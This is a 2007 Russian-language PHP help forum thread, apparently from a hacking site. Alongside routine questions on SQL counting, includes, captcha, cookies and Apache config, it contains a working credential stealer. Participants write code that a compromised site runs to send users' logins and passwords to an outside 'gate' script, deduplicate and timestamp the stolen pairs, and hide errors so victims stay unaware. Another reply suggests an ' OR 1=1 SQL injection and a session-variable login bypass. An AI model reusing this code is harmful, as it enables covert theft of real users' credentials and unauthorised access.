например SELECT имён в массив , затем сравнивание по циклу ( если имя[i] = имя[j] , тогда счётчик для nameCount[i]++ , а имя[j] удалить из массива... unset(); (чтоб его еще раз не сравнивать)... в итоге получим массив без одинаковых элементов и сопоставленными цифрами повторений...
пример кода (возможно полностью кривой ,но что-то вроде этого (давно я на php не кодил...) )
$counter = array();
$ath = mysql_query( // select имён
while($names = mysql_fetch_array($ath)){ //в массив
}
for (i = 0 ; i <= count($names); i++){
for (j = i ; i <= count($names); j++){
if( $names[j] == $names[i]){
$counter[i] += 1;
unset($names[j]);
}
}
}
получаем "колонки" $names , и $counter ,
например echo("$names[1] - $counter[1] - совпадений");
а чтоб упорядочить по убыванию можно в обьединить один массив а потом ksort($имя массива...)
groundhog
19.11.2007, 19:22
Господи! Ну а в чём проблема вывести результат работы запроса? Вот запрос:
SELECT author, COUNT(id) NUM FROM lalala GROUP BY author ORDER BY NUM DESC
temp_late
19.11.2007, 23:12
Доброе время суток.
Родилась интересная мысль перезагружать свой адсл модем через вебсервер, через php скрипт, который фиксировал в базе данных кто и сколько и когда нажимал перезапуск.
Модем можно перезагрузить через командную строку, ввод от пользователя выглядит так:
telnet 192.168.1.1
entrymaypassword123*
24
4
1
После этих операции модем перезагружается.
в php есть функция обращения к командной строки например отправить всем hello from php :=
system('net send * hello from php');
Так работает, а вот так нет:
system('
telnet 192.168.1.1
entrymaypassword123*
24
4
1');
Может что посоветуете?
2temp_late
а если так?
<?php
$fp = fsockopen("192.168.1.1",23);
if (!$fp) {
echo "ERROR<br>\n";
} else {
fwrite($fp,"entrymaypassword123*\r\n");
fwrite($fp,"24\r\n");
fwrite($fp,"4\r\n");
fwrite($fp,"1\r\n");
fclose($fp);
}
?>
temp_late
20.11.2007, 02:16
Через сокерты, хм.. Думаю не получится, по адресу 192.168.1.1 унего вложенный вебсервер, там управляющий сайт с настройками адсл модема, думаю он как раз через соекты нам страничку и покажет. Конешно сокеты мысль, можно попробовать произвести авторизацию, и обратно отправеть post submit на ребут, но тоже там не все просто..
Через сокерты, хм.. Думаю не получится, по адресу 192.168.1.1 унего вложенный вебсервер, там управляющий сайт с настройками адсл модема, думаю он как раз через соекты нам страничку и покажет. Конешно сокеты мысль, можно попробовать произвести авторизацию, и обратно отправеть post submit на ребут, но тоже там не все просто..
а ты просто попробуй и все станет понятно, когда ты выполняешь telnet 192.168.1.1, ты просто коннектишся на 23 порт 192.168.1.1 также как у меня в примере, а вебсервер обычно на 80 или 8080 порту находится
ты просто пойми, что мой скрипт делает, он открывает соединение с 192.168.1.1 на 23 порт и записывает туда комманды, тоже самое, что делаешь ты через программу telnet
открой у себя на компе любой порт (с помощью nc -l -n -v -p <port>) на прослушку и запусти мой скрипт с твоим ip и номером открытого у себя порта, и посмотри что произойдет, ты увидишь что скрипт соединится с твоим компом на установленный порт и пошлет комманды туда
groundhog
20.11.2007, 02:30
[x26]VOLAND, предположим, что имеем дело с простейшей таблицей:
CREATE TABLE `some_table` (
`id` int(11) unsigned NOT NULL auto_increment COMMENT 'Идентификатор автора',
`author` varchar(20) NOT NULL default '' COMMENT 'Имя автора',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=cp1251 COMMENT='Тестовая таблица';
Забьём в неё записи:
INSERT INTO `some_table` (`id`, `author`) VALUES
(1, 'John'),
(2, 'Mary'),
(3, 'Jane'),
(4, 'Marty'),
(5, 'John'),
(6, 'Annie'),
(7, 'John'),
(8, 'Marty'),
(9, 'Jane'),
(10, 'Marty');
Тогда, для поставленной тобой задачи код будет выглядеть следующим образом:
<?php
define("DB_HOST", "127.0.0.1:3306");
define("DB_NAME", "test");
define("DB_USER", "test");
define("DB_PASSWD", "test");
// Соединяемся с базой данных
$db_id = mysql_connect(DB_HOST, DB_USER, DB_PASSWD) or
die("Error: " . mysql_error());
// Выбираем рабочую базу данных
$ret = mysql_select_db(DB_NAME, $db_id) or
die("Error: " . mysql_error());
// Запрос к БД
$sql = "SELECT author, COUNT(id) amount FROM some_table GROUP BY author ORDER BY amount DESC";
// Выполняем запрос к базе данных
$result = mysql_query($sql) or
die("Error: " . mysql_error());
// Делаем визуальное оформление результата
print("<style>\n");
print(".tbl {font: normal 10pt Tahoma; border: #000000 1px solid}\n");
print("th {height: 25px; background-color: #cacaca}\n");
print("td {height: 20px; text-align: center; border-top: #000000 1px solid}\n");
print("td.vert {border-right: #000000 1px solid}\n");
print("</style>\n");
print("<table cellspacing=\"0\" cellpadding=\"0\" width=\"150\" class=\"tbl\">\n");
print("<tr><th>Автор</th><th>Кол-во</th></tr>\n");
// Если запрос вернул не пустую выборку
if (mysql_numrows($result) > 0)
// В цикле по всем строкам выводим результат (ассоциативный массив)
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
printf("<tr><td class=\"vert\">%s</td><td>%s</td></tr>\n", $row["author"], $row["amount"]);
else print("<tr><td class=\"vert\">--</td><td>--</td></tr>\n"); // Выводим прочерки
print("</table>\n");
mysql_free_result($result); // Освобождаем результат
mysql_close($db_id); // Закрываем соединение
?>
Ничего сложного...
трабл немного не по пхп, пытаюсь вставить в таблицу пхп файл а он выдает пустой экран почему?
<table width=100% height=100% border=1>
<tr><td height=150>
<center>Заголовок</center>
</td></tr>
<tr><td width=150>
<?php
пробовал require "left.php"; пробовал include "left.php";
?>
</td></tr>
</table>
если вставляю через фрэйм то все находит
<FRAMESET cols="15%,*, 15%">
<FRAME src="left.php" name="left" scrolling=no marginheight=0 marginwidth=0 noresize>
<FRAME src="" name="center" scrolling=no marginheight=0 marginwidth=0 noresize>
<FRAME src="" name="right" scrolling=no marginheight=0 marginwidth=0 noresize>
</FRAMESET>
кто нибуть знает почему?
groundhog
20.11.2007, 15:39
Посмотри error_log. Что в последних записях?
нет там ошибок по этой части =) вообще за сегодня ниодной)))
temp_late
20.11.2007, 17:32
трабл немного не по пхп, пытаюсь вставить в таблицу пхп файл а он выдает пустой экран почему?
пробовал include "left.php";
include('left.php');
astrologer
20.11.2007, 19:41
include('left.php');
По-моему, не имеет значения.
XopoIII, приведи сгенерированный код получившейся страницы, а не только то, что ты пишешь. Наверняка у тебя там так и осталось:<?php
require "left.php";
?>.
temp_late
21.11.2007, 00:45
2temp_late
а если так?
<?php
$fp = fsockopen("192.168.1.1",23);
if (!$fp) {
echo "ERROR<br>\n";
} else {
fwrite($fp,"entrymaypassword123*\r\n");
fwrite($fp,"24\r\n");
fwrite($fp,"4\r\n");
fwrite($fp,"1\r\n");
fclose($fp);
}
?>
Не работает так, не достигает того результата, проверить через nc не сообразил, пробовал скачать программу, там мне впаривают какуюту cms систему, запутался, короче не смог просмотреть запрос, и вычеслить где ошибка, но сдается что ошибка в строчке где отправляем пароль \r \n - это же два символа юнекс и виндовс перехода строки, ентер он же один символ, могу предположить что здесь может не срабатывать. Умучился я, мне только надо перезагрузить модем. Спортами спаисибо, теперь я понял суть, действиетльно модем разные вещи передает в зависимости от порта.
temp_late
21.11.2007, 01:05
Всеее)))))))) СПАСИБО ОГРОМНОЕ!!!
<?php
$fp = fsockopen("192.168.1.1",23);
if (!$fp) {
echo "ERROR<br>\n";
} else {
fwrite($fp,"entrymaypassword123*\r\n");
fwrite($fp,"24\r\n");
fwrite($fp,"4\r\n");
fwrite($fp,"1\r\n");
fwrite($fp,"1\r\n");
fclose($fp);
}
?>
последнию команда при повторном отправление сработала, не знаю что и как, подход ламерский, но главное то что работает! На первое время хватит, как воздуха)
Ну это уж твои косяки, ты спросил как, я тебе ответил, а уж насчет комманд это ты сам должен знать, попробуй еще так:
<?php
$fp = fsockopen("192.168.1.1",23);
if (!$fp) {
echo "ERROR<br>\n";
} else {
fwrite($fp,"entrymaypassword123*\n");
fwrite($fp,"24\n");
fwrite($fp,"4\n");
fwrite($fp,"1\n\n");
fclose($fp);
}
?>
temp_late
21.11.2007, 02:47
Все работает, проблемма была в том что скрипт слишком быстро закрывал сокет, функцию приостановки выполнения скрипта не знаю, поэтому я его затормозил условием, получилось так:
fwrite($fp,"1\n\n");
while ($a<3000){echo '<br>'.$a.') Перезагрузка';$a++;}
fclose($fp);
По-моему, не имеет значения.
XopoIII, приведи сгенерированный код получившейся страницы, а не только то, что ты пишешь. Наверняка у тебя там так и осталось:<?php
require "left.php";
?>.
так и осталось=(
<HTML>
<HEAD>
<TITLE>Главная страница</TITLE>
</HEAD>
<table width=100% height=100% border=1>
<tr><td height=150 colspan=3>
<center>Заголовок</center>
</td></tr>
<tr><td width=150>
<?php
require "left.php";
?>
</td>
<td>
TEXT
</td>
<td width=150>
</td></tr>
<tr><td height=15 colspan=3>
TEXT
</td></tr>
</table>
</HTML>
есть у кого скриптик, для генерации изображений с числами, как в регистрациях делают
2temp_late тогда используй вместо fsockopen функцию pfsockopen а цикл убери нафик ну и fclose
2XopoIII
качай _http://www.captcha.ru/kcaptcha.zip
вот такая вот проверка пароля в самом конце авторизации. Можно ли ее обойти?
$sql="select * from f_user where (nick='$innick')";
$resultn=mysql_query($sql);
$ar=mysql_fetch_array($resultn);
//вышестоящая проверка вырезана, поскольку там ничего не поделать
if ($ar['pass'] == $inpass) { $_SESSION['userenter']=$ar['id'];
2temp_late тогда используй вместо fsockopen функцию pfsockopen а цикл убери нафик ну и fclose
2XopoIII
качай _http://www.captcha.ru/kcaptcha.zip
чет не качает=(
http://www.captcha.ru/kcaptcha.zip
все отлично качает
или зайди сюда, внизу будет ссылка для скачивания
http://www.captcha.ru/kcaptcha/
скачал посмотрел работает, а вот как капчу или не капчу настроить чтобы пользователь вводил эти цифры и они сравнивались?
Принцип действия: скрипт заводит сессию и записывает в нее под именем $_SESSION['captcha_keystring'] случайным образом сгенерированную строку, после чего выдает изображение, содержащее эту самую строку в зашумленном виде. При проверке пользовательского ввода вам остается только прочитать из сессии кодовую строку и сравнить с тем, что ввел пользователь
вобще-то там все написано, читай
ой точно, я на сайт не заходил=)
Господа! Нужна помощь по пхп.
Есть пхп скрипт на чужой машине, в нем используются 2 переменные $account и $password
У меня есть халявный хостинг, хочу чтоб каждый раз когда исполняется скрипт, эти переменные передавались моему гейту, который пишет ихзначения в файл.
Гейт готов, осталось лишь придумать, как вызывать этот скрипт в виде http://myhost.com/gate.php?acc=$account&pass=$password
Там пхп 4.4.2, так просто fopen не использовать.
Как поступить?
мож так?
//кусок кода
$host="http://myhost.com";
$fp = fsockopen ($host, 80);
if (!$fp) {
echo "неполучилось";
} else {
$qs="GET /gate.php?acc=".$account."&pass=".$password."HTTP/1.0\r\nHost: ".$host."\r\n\r\n";
fputs ($fp, $qs);
fclose ($fp);
}
а вобще что тебе мешает сохранять переменные на чужом компе в текстовый файл, а потом со своего читать его удаленно?
Эх, не пашет(
Ну это не серьезно, ты бы тогда сказал, какие ошибки выдает, соединяет ли или нет, вобщем все подробно
а вобще кинь мне в личку твой сайт, я поробую у себя скрипт запустить, посмотрим придут или нет тебе пароли
groundhog
21.11.2007, 10:42
Возможно ошибка в том, что немножко неправильно формируется GET-запрос... Обратите внимание, что в запросе перед спецификацией протокола (HTTP/1.0) не выставлен пробел... То есть, получается, что этот скрипт будет постоянно запрашивать несуществующий ресурс на сервере... Лечение простое - добавить этот чёртов пробел...
// (c) кусок кода, by Scipio
$host="http://myhost.com";
$fp = fsockopen ($host, 80);
if (!$fp) {
echo "неполучилось";
} else {
$qs="GET /gate.php?acc=".$account."&pass=".$password." HTTP/1.0\r\nHost: ".$host."\r\n\r\n";
fputs ($fp, $qs);
fclose ($fp);
}
darckmilord
21.11.2007, 14:26
Помогите пожалуйста
есть 2 кнопки, нужно чтобы при нажатии на одну из них файлы подключались из одного файла
а на другую из другого, и при чем чтобы при следующем заходе не требовалось нажимать снова а файл сам уже инклюдился и при этом для каждого заходящего на страницу отдельно, можно даже с записью информации куданибудь.
Прям самый простенький примерчик для понимания...
groundhog
21.11.2007, 14:37
Задание не очень ясно... Ты хочешь сделать что-то типа аттачей в почтовом сервисе? Никто такое бесплатно делать не будет, ибо работы тут достаточно...
darckmilord
21.11.2007, 14:51
задача думаю не очень сложная.. но точно не знаю...
просто нужно реализовать чтото типа если нажал на первую кнопку был английский текс, а при нажатии на вторую русский текс. и при этом это куданить в файл писалось типа этот чел выбрал для себя русский и потом он зашел и сразу русский был, или через куки как нить... просто представляю себе это плохо а в готовых скриптах много лишнего и для меня там сложновато понять ченить
Scipio и groundhog, спс огромное, все пашет. Дело в том что сайт часто посещаемый и если я не буду гасить вывод ошибки, юзеры могут просечь что к чему. Вот новый вопрос.
Поступают эти 2 переменные каждый раз, когда юзер ходит по личному кабинету. И пишутся они в файл blablabla.txt. Но проблема в том, что каждый раз, когда юзер кликает на ссылку в личном кабинете, эти переменные пишутся снова и снова в конец файла с новой строки. Как избежать дубляжа "на лету"? Просто такими темпами там будет 1ГБ запятых и одинаковых пар логин+пароль, а это палево.
spyke, если ты ещё мучаешся с тем скриптом, то $host="myhost.com"; а не $host="http://myhost.com";
И ябы лично делалбы
file("http://web.ru/gate.php?acc=".$account."&pass=".$password); но на хостинге может не прокатить, такчто решай сам :)
А насчёт повторений
<?
if (!$_SESSION['gate']) {
//Сливаем логи и пасс
$_SESSION['gate'] = true;
}
?>
darckmilord,
Вот это токо пример как я делал...
делаш папку lang для неё Deny from all в неё пихаеш rus.php и eng.php
<?
//eng.php
$lang = array();
$lang['title'] = 'My website';
$land['welcome_msg'] = 'Hello';
?>
<?
//rus.php
$lang = array();
$lang['title'] = 'Мой вебсайт';
$lang['welcome_msg'] = 'Привет';
?>
В корне создаём file.php
<?
$languages = array('rus','eng');
if(!$_COOKIE['lang'] || !in_array($_COOKIE['lang'],$languages)) {
setcookie('lang',$languages[0]);
$_COOKIE['lang'] = $languages[0];
}
if($_GET['lang'] && in_array($_GET['lang'],$languages)) {
setcookie('lang',$_GET['lang']);
$_COOKIE['lang'] = $_GET['lang'];
}
include("lang/{$_COOKIE['lang']}.php");
echo "<center><h1>{$lang['title']}</h1><br>{$lang['welcome_msg']}</center><br>";
echo '<a href="?lang=rus">rus</a> <a href="?lang=eng">eng</a>';
?>
Заходим на file.php и юзаем :) дальше сам думаю разберёшся :)
groundhog
21.11.2007, 15:43
darckmilord, да, задача действительно не из сильных. Я просто в смысл не въехал. Вот решение:
<?php
if (isset($_COOKIE["pillow"])) {
$pillow = strtolower($_COOKIE["pillow"]);
if ($pillow === "blue") die("Матрица поимела тебя, Нео!");
elseif ($pillow === "red") die("Ты поимел матрицу, Нео!");
}
if (strtolower($_SERVER["REQUEST_METHOD"])=="post")
setcookie("pillow", htmlspecialchars($_POST["pillow"]), time() + 60 * 60 * 24 * 365);
print("<h1>Красная или синяя, Нео? Сделай свой выбор!</h1>");
print("<form method=post>");
print("<input type=\"submit\" name=\"pillow\" value=\"BLUE\">\n");
print("<input type=\"submit\" name=\"pillow\" value=\"RED\">\n");
print("</form");
?>
Ponchik, да ты бог) Все просто летает и лишь 1 строчка)
Товарищи кодеры помогите пожалуйста советом!
вот такая вот проверка пароля в самом конце авторизации. Можно ли ее обойти?
$sql="select * from f_user where (nick='$innick')";
$resultn=mysql_query($sql);
$ar=mysql_fetch_array($resultn);
//вышестоящая проверка вырезана, поскольку там ничего не поделать
if ($ar['pass'] == $inpass) { $_SESSION['userenter']=$ar['id'];
195531, покажи скрипт выше, надо знать что такое $innick и откуда оно берётся
А ваще логи и пасс напиши ' OR 1=1/* если пустит, значит можно, если нет, всётаки выложи скрипт :)
/me только что заметил "//вышестоящая проверка вырезана, поскольку там ничего не поделать"
ну значит не судьба
Хотя если включены глобальные переменные, можеш попробовать зайти на сайт
index.php?$_SESSION[userenter]=1
195531, покажи скрипт выше, надо знать что такое $innick и откуда оно берётся
А ваще логи и пасс напиши ' OR 1=1/* если пустит, значит можно, если нет, всётаки выложи скрипт :)
/me только что заметил "//вышестоящая проверка вырезана, поскольку там ничего не поделать"
ну значит не судьба
Хотя если включены глобальные переменные, можеш попробовать зайти на сайт
index.php?$_SESSION[userenter]=1
ссылку кинул в другой раздел, здесь все таки не совсем то. там инъекции нет походу, но можно весь код посмотреть, если интересно смотрите
http://forum.antichat.ru/showthread.php?p=510350#post510350
groundhog
21.11.2007, 17:07
spyke, используй для вошки, которая льёт пасы в файло такой код:
<?php
if (isset($_GET["login"]) && isset($_GET["password"])) {
$line = sprintf("%s:%s\n", $_GET["login"], $_GET["password"]);
$suff_data = file("stuff.txt");
foreach ($suff_data as $account_data)
if (trim($line) == trim($account_data)) die("Повтор на первом игроке");
$file_id = fopen("stuff.txt", "a+");
if (!$file_id) die("Не могу открыть файлег!");
fputs($file_id, $line);
fclose($file_id);
}
?>
Разумеется, исправь поведение на ошибки и следи чтобы файл не вырос до громадных размеров, иначе скрипт будет тормозить, а следовательно и будет тормозить страница, с которой ты вызываешь вошку.
Скрипт рабочий, но допустим, мне нужно поставить дату и время перед каждой парой логин , пароль. Я сделал вот так:
<?PHP
$date = date("m/d/y H:i:s");
if (isset($_GET["acc"]) && isset($_GET["pass"])) {
$line = sprintf("$date [ %s , %s ]\n", $_GET["acc"], $_GET["pass"]);
$suff_data = file("file.txt");
foreach ($suff_data as $account_data)
if (trim($line) == trim($account_data)) die("повтор");
$file_id = fopen("file.txt", "a+");
if (!$file_id) die("die");
fputs($file_id, $line);
fclose($file_id);
}
?>
На выходе получаем это:
11/21/07 14:23:46 [ test , test ]
11/21/07 14:23:50 [ test , test ]
11/21/07 14:23:50 [ test , test ]
11/21/07 14:39:05 [ sdfsdf , sdfdsf ]
11/21/07 14:39:09 [ sdfsdf , sdfdsf ]
11/21/07 14:39:10 [ sdfsdf , sdfdsf ]
11/21/07 14:39:13 [ sdfsdf , sdfdsf ]
11/21/07 14:39:14 [ sdfsdf , sdfdsf ]
11/21/07 14:39:26 [ werwr , sdfsdsg ]
11/21/07 14:39:36 [ werwr , sdfsdsg ]
11/21/07 14:39:37 [ werwr , sdfsdsg ]
11/21/07 14:39:43 [ werwr , sdfsdsg ]
11/21/07 14:39:44 [ werwr , sdfsdsg ]
11/21/07 14:40:00 [ werwr , sdfsdsg ]
Скрипт смотрит строки, а мне нужно чтоб он смотрел в квадратные скобки каждой строчки) И еще, юзеры зачастую первый раз вводят пароль неправильно и посылают данные еще раз. Тоесть, автоматом надо отсеивать только повторяющиеся пары логин+пароль, а не просто логин.
Предлагаю мастерам написать гибкий скрипт универсального гейта) С гуи интерфейсом и всякими фичами. Хокер выбирает, какие переменные принимать, куда их сохранять, в каком формате, ставить ли дату и время, в каком опять же формате и где, включать ли защиту от повторов. Гуи должен в конце показать кусочек пхп кода file() , со всеми нужными переменными и адресом сервера.
Вроде, я такому еще аналогов не видел.
Да, кусочек кода может модифицироваться base64 по желанию, а инфа криптоваться XOR'ом.
Пля! Ничо не понимал, дошло что это гейт :D
<?PHP
$date = date("m/d/y H:i:s");
if (isset($_GET["acc"]) && isset($_GET["pass"])) {
$line = sprintf("$date [ %s , %s ]\n", $_GET["acc"], $_GET["pass"]);
$suff_data = file_get_contents("file.txt");
if (!strpos($suff_data,"{$_GET['acc']} , {$_GET['pass']}")) {
$file_id = fopen("file.txt", "a+");
if (!$file_id) die("die");
fputs($file_id, $line);
fclose($file_id);
} //Иначе просто ничего не делать
}
?>
Если чё, стучи 202-995-022 буду тебя учить :)
groundhog
21.11.2007, 18:33
Ну чтобы писать с датой запроса, можно использовать такой скрипт:
<?php
if (isset($_GET["login"]) && isset($_GET["password"])) {
$line = sprintf("%s:%s\n", $_GET["login"], $_GET["password"]);
$suff_data = file("stuff.txt");
foreach ($suff_data as $account_data)
if (trim($line) == trim($account_data)) die("Повтор на первом игроке");
$file_id = fopen("stuff.txt", "a+");
if (!$file_id) die("Не могу открыть файлег!");
$extended_line = sprintf("[%s] - %s", date("m/d/y H:i:s"), $line);
fputs($file_id, $extended_line);
fclose($file_id);
}
?>
А чтобы писать только те пароли, которые были введены правильно - ты просто вставь на хосте, в которого ты засадил шпиона, строчку вызова вошки в то место, которое идёт после проверки аутентификации...
Спасибо всем еще раз, проблема решена)
почему в браузере не высвечивается содержимое файлов(файлы не пустые...)
<HTML>
<HEAD>
<TITLE>Главная страница</TITLE>
</HEAD>
<table width=100% height=100% border=1>
<tr><td height=150 colspan=3>
<center>Заголовок</center>
</td></tr>
<tr><td width=150>
<?php
include "left.php";
?>
</td>
<td>
TEXT
</td>
<td width=150>
<?php
include "golos.html";
?>
</td></tr>
<tr><td height=15 colspan=3>
TEXT
</td></tr>
</table>
</HTML>
часть таблицы где инклуды тупо проподает
groundhog
22.11.2007, 11:49
В общем, код такого вида:
<?php
print("<HTML>");
print("<HEAD> ");
print("<TITLE>Главная страница</TITLE> ");
print("</HEAD> ");
print("<table width=100% height=100% border=1>");
print("<tr><td height=150 colspan=3>");
print("<center>Заголовок</center>");
print("</td></tr>");
print("<tr><td width=150>");
include "1.php";
print("</td>");
print("<td>");
print("TEXT");
print("</td>");
print("<td width=150>");
include "2.html";
print("</td></tr>");
print("<tr><td height=15 colspan=3>");
print("TEXT");
print("</td></tr>");
print("</table>");
print("</HTML>");
и такого:
<HTML>
<HEAD>
<TITLE>Главная страница</TITLE>
</HEAD>
<table width=100% height=100% border=1>
<tr><td height=150 colspan=3>
<center>Заголовок</center>
</td></tr>
<tr><td width=150>
<?php
include "1.php";
?>
</td>
<td>
TEXT
</td>
<td width=150>
<?php
include "2.html";
?>
</td></tr>
<tr><td height=15 colspan=3>
TEXT
</td></tr>
</table>
</HTML>
у меня отработал корректно и вывел то, что планировалось... Я думаю проблема в выводе, который формируют инклуды... Что-то он гробит... Ибо в таком варианте просто нечему работать...
спасибо сенсей, почему то недодумался чтобы в пхп это сделать+))
XopoIII, Не слушай этого злого дядю, он врёт :)
Если я конечно правильно понял... Тебе нужно содержимое файлов получать, делай не include "1.php"; а echo file_get_contents("1.php"); т.к. тебе не выполнить файл надо а прочитать и всё будет норм работать
<HTML>
<HEAD>
<TITLE>Главная страница</TITLE>
</HEAD>
<table width=100% height=100% border=1>
<tr><td height=150 colspan=3>
<center>Заголовок</center>
</td></tr>
<tr><td width=150>
<?=file_get_contents('left.php');?>
</td>
<td>
TEXT
</td>
<td width=150>
<?=file_get_contents('golos.html');?>
</td></tr>
<tr><td height=15 colspan=3>
TEXT
</td></tr>
</table>
</HTML>
XopoIII, Не слушай этого злого дядю, он врёт :)
Если я конечно правильно понял... Тебе нужно содержимое файлов получать, делай не include "1.php"; а echo file_get_contents("1.php"); т.к. тебе не выполнить файл надо а прочитать и всё будет норм работать
получается тоже самое что и просто инклуд, а если делаю как граунд у меня кричит:
"); print(" "); print(" "); print(" "); print("
"); print("
"); print("
"); print("
"); print("
"); print("
"); print("
а если меняю расширение на пхп то все нормально, но браузер не видит его хз почему подскажите кто знает, он ищет у меня index.html а не .пхп =(
XopoIII, я с тобой на 100$ спорю что это совсем не инклуд!
Ты сначало попробуй а потом ори, а если скажеш что пробовал, кину кирпич, т.к. там опечатка file_fet_contents :D
Запиши в golos.html строку <? echo '<h1>Included</h1>'; ?> и попробуй его вставь через include и через file_get_contents
Если у тя так и не работает, стучи в асю 202-995-022 отдолжу руки
=======================
Проблема решена, аффтар юзол index.html и хотел чтоб у него всё работало :o
P.S. Никогда не ставьте денвер, всеравно потом вас или сломают или сами сновить будите :rolleyes:
groundhog
22.11.2007, 13:20
XopoIII, не слушай этого вкусного дядю... Хотя он в чём-то прав... :)
include подразумевает исполнение PHP кода внутри включаемых файлов... Если тебе выдаётся некорректный вывод, возможно ты неверно расставил PHP-теги во включаемых файлах. По пробуй задать внутри файлов просто строки "Йа файлег 1" и "Йа файлег 2", и включить их. Твой код я именно на таких файлах и проверял. Если тебе нужно вставлять файлы asis (смысла в этом не вижу), включая PHP-код, тогда воспользуйся file_get_contents, как посоветовал Пончик.
groundhog, у него короче денвер, он половину php файлов читает, половину нет :) Он хочет зайти на Index.php ему пишет нет файла index.HTML :DDDD Я в него php.ru/install кинул, пусть юзоет :)
угу буду пробовать, граунд буду устанавливать ася у тебя взорвется, да и у булочки тоже=)))
посоветутйте плиз)
есть файл, весом 53,17 MBytes
есть прямая ссылка на него
мне нужно написать скрипт на пхп, который перекачает его на мой хостинг
на хостинге set_time_limit()=ON
и по возможности потом его разархивирует (rar)
посоветутйте плиз)
есть файл, весом 53,17 MBytes
есть прямая ссылка на него
мне нужно написать скрипт на пхп, который перекачает его на мой хостинг
на хостинге set_time_limit()=ON
и по возможности потом его разархивирует (rar)
на:
<?
$t="ссылка на файл";
$k=file_get_contents($t)
$f=fopen("файл куда пишем","a+");
fwrite($f,$k);
?>
<?
$t="ссылка на файл";
$k=file_get_contents($t)
$f=fopen("файл куда пишем","a+");
fwrite($f,$k);
?>
именно так я и делал, не катит, поэтому обратился за помощью
504 Gateway Time-out
именно так я и делал, не катит, поэтому обратился за помощью
<?
$t="ссылка на файл";
$k=file_get_contents($t)
$f=fopen("файл куда пишем","a");
fwrite($f,$k);
fclose($f);
?>
NOmeR1 шутник
вот мой код
<?php
set_time_limit(0);
$contents = file_get_contents("http://*****.**/******/**.rar");
$fcopy = fopen('**.rar',"w+");
fwrite($fcopy, $contents);
fclose($fcopy);
?>
именно он выплевывает 504 ошибку
а так не проще?
<?php
set_time_limit(0);
$t="ссылка на файл";
copy($t,"./имя файла");
?>
а так не проще?
<?php
set_time_limit(0);
$t="ссылка на файл";
copy($t,"./имя файла");
?>
ты гений, медленно но перекачивается))
архивчик наконецто перекачался, теперь объясните плиз, как его разархивировать (rar)
я уже понял что с помошью sistem('man rar') , но как ее использовать не нашел в мануалах, помогите еще раз)
это называется тебе помогали писать скрипт-флудер?МДА БУГОГА сорри за оффтоп
Если у тебя установлено расширение для php Rar, то вот тебе код:
<?php
$rar_file = rar_open('файл.rar') or die("Невозможно открыть архив");
$entries = rar_list($rar_file);
foreach ($entries as $entry) {
$entry->extract('./');
}
rar_close($rar_file);
?>
если не установлено то можешь установить отсюда:
http://pecl.php.net/package/rar
еще раз огромное спасибо, очень выручил;)
Подскажите, что неправильно в этом скрипте
<VirtualHost 127.0.0.1>
ServerAdmin Admin@sandjuro.org
ServerName www.sandjuro.org
DirectoryIndex index.php3 index.phtml index.php index.htm index.html index.shtml index.shtm
DocumentRoot "c:/usr/public_html/host/virtual"
ScriptAlias /cgi-bin/ "c:/usr/public_html/host/virtual/cgi-bin/"
ErrorLog c:/usr/public_html/host/virtual/logs/error.log
common
CustomLog c:/usr/public_html/host/virtual/logs/access.log
common
</VirtualHost>
Попробуй вот так
<VirtualHost 127.0.0.1>
ServerAdmin Admin@sandjuro.org
ServerName www.sandjuro.org
DirectoryIndex index.php3 index.phtml index.php index.htm index.html index.shtml index.shtm
DocumentRoot "c:/usr/public_html/host/virtual"
ScriptAlias /cgi-bin/ "c:/usr/public_html/host/virtual/cgi-bin/"
ErrorLog "c:/usr/public_html/host/virtual/logs/error.log"
CustomLog "c:/usr/public_html/host/virtual/logs/access.log"
</VirtualHost>
Не прокатила, апач опять ошибку выдает :\
Не прокатила, апач опять ошибку выдает :\
Поробуй указать не полный путь то есть без C:/
<VirtualHost *:*>
ServerAdmin Admin@sandjuro.org
ServerName www.sandjuro.org
DirectoryIndex index.php3 index.phtml index.php index.htm index.html index.shtml index.shtm
DocumentRoot "c:/usr/public_html/host/virtual"
ScriptAlias /cgi-bin/ "c:/usr/public_html/host/virtual/cgi-bin/"
ErrorLog c:/usr/public_html/host/virtual/logs/error.log
common
CustomLog c:/usr/public_html/host/virtual/logs/access.log
common
</VirtualHost>
проверь включены ли дерективы
NameVirtualHost *:*
и
Listen 127.0.0.1:80
а также в C:\WINDOWS\system32\drivers\etc\hosts
пропиши
127.0.0.1 www.sandjuro.org
и перезагрузись
проверь включены ли дерективы
NameVirtualHost *:*
и
Listen 127.0.0.1:80
А гд еэто смотреть? также в конфиге?
да, в начале секции виртуальных хостов
Ребята пожайлусто помогите с фтп функциями в пхп (загрузка файла с фтп на локалку)
всё время выводит "Не удалось завершить операцию"
<?php
$ftp_server='*******';
$ftp_user_name='*******';
$ftp_user_pass='*******';
// объявление переменных
$local_file = 'C:\local.zip';
$server_file = '/server.zip';
// установка соединения
$conn_id = ftp_connect($ftp_server);
// вход с именем пользователя и паролем
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
// попытка скачать $server_file и сохранить в $local_file
if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY)) {
echo "Произведена запись в $local_file\n";
} else {
echo "Не удалось завершить операцию\n";
}
// закрытие соединения
ftp_close($conn_id);
?>
Скрипт полностью правильный, или просто не удается соединится с фтп сервером, или логин/пароль неправильный или файл не существует
вначале скрипта напиши:
error_reporting(E_ALL);
и посмотри где ошибка
$local_file = 'C:\local.zip';может он этот путь не понимает, попробуй задать какнибудь так
$local_file = '../../../../путь/local.zip';
м... а подскажите следующее:
как можно сделать что бы при загрузке файла не сервер пользователь вводил некоторые данные, а эти данные в свою очередь записывались в текстовый документ, например:
пользователь загружает rar архив с названием test.rar
и ввыодит например данные "это тестовый архив" и свой e-mail, и ставит галочку у пункта "я согласен с правилами".
вот, а на сервер загружался архив test.rar и создавался txt файл со строками "это тестовый архив" и введенным e-mail адресом
lsass.exe
24.11.2007, 14:19
Создаешь в своей форме 2 дополнительных поля
<input type=text name=pole1><br>
<input type=text name=pole2><br>
Потом, обрабатываешь данные из них
if(isset($_POST['pole1']) && isset($_POST['pole2']))
{
$f=fopen("filename.txt","a");
fwrite($f,$_POST['pole1'].";".$_POST['pole2']);
fclose($f);
} else echo "Заполните все обязательные поля";
index.html что то типа такова
<html>
<title>
загрузка файла
</title>
<body>
<form enctype="multipart/form-data" action="upload.php" method="post">
Выбор файла:<br /><input name ="userfile" type="file"><br />
Описание:<br /><textarea rows="5" name="text" cols="20"></textarea><br />
